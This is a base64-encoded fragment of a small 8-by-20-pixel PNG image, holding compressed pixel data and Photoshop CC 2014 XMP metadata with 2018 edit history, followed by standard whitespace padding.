Qq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAEwEaVRYdFhNTDpjb20uYWRvYmUueG1wAAAAAAA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/Pgo8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjUtYzAyMSA3OS4xNTU3NzIsIDIwMTQvMDEvMTMtMTk6NDQ6MDAgICAgICAgICI+CiAgIDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+CiAgICAgIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiCiAgICAgICAgICAgIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIKICAgICAgICAgICAgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIgogICAgICAgICAgICB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIKICAgICAgICAgICAgeG1sbnM6c3RFdnQ9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZUV2ZW50IyIKICAgICAgICAgICAgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3Nob3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6dGlmZj0iaHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8iCiAgICAgICAgICAgIHhtbG5zOmV4aWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vZXhpZi8xLjAvIj4KICAgICAgICAgPHhtcDpDcmVhdG9yVG9vbD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNCAoTWFjaW50b3NoKTwveG1wOkNyZWF0b3JUb29sPgogICAgICAgICA8eG1wOkNyZWF0ZURhdGU+MjAxOC0wNC0wNFQxMzo1ODozOCswMjowMDwveG1wOkNyZWF0ZURhdGU+CiAgICAgICAgIDx4bXA6TWV0YWRhdGFEYXRlPjIwMTgtMDgtMjdUMTE6MDY6NDUrMDI6MDA8L3htcDpNZXRhZGF0YURhdGU+CiAgICAgICAgIDx4bXA6TW9kaWZ5RGF0ZT4yMDE4LTA4LTI3VDExOjA2OjQ1KzAyOjAwPC94bXA6TW9kaWZ5RGF0ZT4KICAgICAgICAgPGRjOmZvcm1hdD5pbWFnZS9wbmc8L2RjOmZvcm1hdD4KICAgICAgICAgPHhtcE1NOkluc3RhbmNlSUQ+eG1wLmlpZDozMGI2ODgzNC00OTZkLTQ3YjMtYjg5Mi1kNDk5MmU3YTM1NjI8L3htcE1NOkluc3RhbmNlSUQ+CiAgICAgICAgIDx4bXBNTTpEb2N1bWVudElEPmFkb2JlOmRvY2lkOnBob3Rvc2hvcDplZDc2NmU0Mi1lYTY2LTExN2ItYjA0OC1mZTczYThlZDkzZjQ8L3htcE1NOkRvY3VtZW50SUQ+CiAgICAgICAgIDx4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ+eG1wLmRpZDo1NTA0N2ZmMC1lNTZiLTQ1MjctYmYwZC0yZTExNzA1ZTk3Y2U8L3htcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD4KICAgICAgICAgPHhtcE1NOkhpc3Rvcnk+CiAgICAgICAgICAgIDxyZGY6U2VxPgogICAgICAgICAgICAgICA8cmRmOmxpIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmFjdGlvbj5jcmVhdGVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6NTUwNDdmZjAtZTU2Yi00NTI3LWJmMGQtMmUxMTcwNWU5N2NlPC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE4LTA0LTA0VDEzOjU4OjM4KzAyOjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdhcmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNCAoTWFjaW50b3NoKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6OWQwNjFkZmItNzNlOS00NDkzLThjNTctM2I1MzRkZjNkMDhlPC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE4LTA0LTA0VDE0OjAzOjI2KzAyOjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdhcmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNCAoTWFjaW50b3NoKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmNoYW5nZWQ+Lzwvc3RFdnQ6Y2hhbmdlZD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6OGJiYjU2ZGUtNTcxYS00ODM3LTk3ZjgtYTJiY2VjZDYzYzQ1PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE4LTA0LTA0VDE0OjAzOjM0KzAyOjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdhcmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNCAoTWFjaW50b3NoKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmNoYW5nZWQ+Lzwvc3RFdnQ6Y2hhbmdlZD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNvbnZlcnRlZDwvc3RFdnQ6YWN0aW9uPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6cGFyYW1ldGVycz5mcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nPC9zdEV2dDpwYXJhbWV0ZXJzPgogICAgICAgICAgICAgICA8L3JkZjpsaT4KICAgICAgICAgICAgICAgPHJkZjpsaSByZGY6cGFyc2VUeXBlPSJSZXNvdXJjZSI+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDphY3Rpb24+ZGVyaXZlZDwvc3RFdnQ6YWN0aW9uPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6cGFyYW1ldGVycz5jb252ZXJ0ZWQgZnJvbSBhcHBsaWNhdGlvbi92bmQuYWRvYmUucGhvdG9zaG9wIHRvIGltYWdlL3BuZzwvc3RFdnQ6cGFyYW1ldGVycz4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6NDY3MmQ3ZTktMmM4Mi00MjlkLTgzM2ItYTllZTNjOWMzZDUyPC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE4LTA0LTA0VDE0OjAzOjM0KzAyOjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdhcmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNCAoTWFjaW50b3NoKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmNoYW5nZWQ+Lzwvc3RFdnQ6Y2hhbmdlZD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6YTIwN2I2MDQtYjU1MC00NWEyLWEyMTQtOGUwNDljZWM5ZTI0PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE4LTA4LTI3VDExOjA2OjM3KzAyOjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdhcmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNCAoTWFjaW50b3NoKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmNoYW5nZWQ+Lzwvc3RFdnQ6Y2hhbmdlZD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNvbnZlcnRlZDwvc3RFdnQ6YWN0aW9uPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6cGFyYW1ldGVycz5mcm9tIGltYWdlL3BuZyB0byBhcHBsaWNhdGlvbi92bmQuYWRvYmUucGhvdG9zaG9wPC9zdEV2dDpwYXJhbWV0ZXJzPgogICAgICAgICAgICAgICA8L3JkZjpsaT4KICAgICAgICAgICAgICAgPHJkZjpsaSByZGY6cGFyc2VUeXBlPSJSZXNvdXJjZSI+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDphY3Rpb24+ZGVyaXZlZDwvc3RFdnQ6YWN0aW9uPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6cGFyYW1ldGVycz5jb252ZXJ0ZWQgZnJvbSBpbWFnZS9wbmcgdG8gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcDwvc3RFdnQ6cGFyYW1ldGVycz4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6YWRlMDk5NjAtNDcxNS00ZGEyLWFhMGMtMTBiZjA2ZGM5OGE3PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE4LTA4LTI3VDExOjA2OjM3KzAyOjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdhcmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNCAoTWFjaW50b3NoKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmNoYW5nZWQ+Lzwvc3RFdnQ6Y2hhbmdlZD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6ZGJhOTc1ZjktNDg4ZS00NTU4LTlmMDEtMjcwYmJjZWE2NWY4PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE4LTA4LTI3VDExOjA2OjQ1KzAyOjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdhcmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNCAoTWFjaW50b3NoKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmNoYW5nZWQ+Lzwvc3RFdnQ6Y2hhbmdlZD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNvbnZlcnRlZDwvc3RFdnQ6YWN0aW9uPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6cGFyYW1ldGVycz5mcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nPC9zdEV2dDpwYXJhbWV0ZXJzPgogICAgICAgICAgICAgICA8L3JkZjpsaT4KICAgICAgICAgICAgICAgPHJkZjpsaSByZGY6cGFyc2VUeXBlPSJSZXNvdXJjZSI+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDphY3Rpb24+ZGVyaXZlZDwvc3RFdnQ6YWN0aW9uPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6cGFyYW1ldGVycz5jb252ZXJ0ZWQgZnJvbSBhcHBsaWNhdGlvbi92bmQuYWRvYmUucGhvdG9zaG9wIHRvIGltYWdlL3BuZzwvc3RFdnQ6cGFyYW1ldGVycz4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MzBiNjg4MzQtNDk2ZC00N2IzLWI4OTItZDQ5OTJlN2EzNTYyPC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE4LTA4LTI3VDExOjA2OjQ1KzAyOjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdhcmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNCAoTWFjaW50b3NoKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmNoYW5nZWQ+Lzwvc3RFdnQ6Y2hhbmdlZD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAgICAgICAgICAgIDwvcmRmOlNlcT4KICAgICAgICAgPC94bXBNTTpIaXN0b3J5PgogICAgICAgICA8eG1wTU06RGVyaXZlZEZyb20gcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICA8c3RSZWY6aW5zdGFuY2VJRD54bXAuaWlkOmRiYTk3NWY5LTQ4OGUtNDU1OC05ZjAxLTI3MGJiY2VhNjVmODwvc3RSZWY6aW5zdGFuY2VJRD4KICAgICAgICAgICAgPHN0UmVmOmRvY3VtZW50SUQ+eG1wLmRpZDphZGUwOTk2MC00NzE1LTRkYTItYWEwYy0xMGJmMDZkYzk4YTc8L3N0UmVmOmRvY3VtZW50SUQ+CiAgICAgICAgICAgIDxzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ+eG1wLmRpZDo1NTA0N2ZmMC1lNTZiLTQ1MjctYmYwZC0yZTExNzA1ZTk3Y2U8L3N0UmVmOm9yaWdpbmFsRG9jdW1lbnRJRD4KICAgICAgICAgPC94bXBNTTpEZXJpdmVkRnJvbT4KICAgICAgICAgPHBob3Rvc2hvcDpDb2xvck1vZGU+MzwvcGhvdG9zaG9wOkNvbG9yTW9kZT4KICAgICAgICAgPHBob3Rvc2hvcDpJQ0NQcm9maWxlPnNSR0IgSUVDNjE5NjYtMi4xPC9waG90b3Nob3A6SUNDUHJvZmlsZT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAgICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAgICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAgICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxleGlmOkNvbG9yU3BhY2U+MTwvZXhpZjpDb2xvclNwYWNlPgogICAgICAgICA8ZXhpZjpQaXhlbFhEaW1lbnNpb24+ODwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURpbWVuc2lvbj4yMDwvZXhpZjpQaXhlbFlEaW1lbnNpb24+CiAgICAgIDwvcmRmOkRlc2NyaXB0aW9uPgogICA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA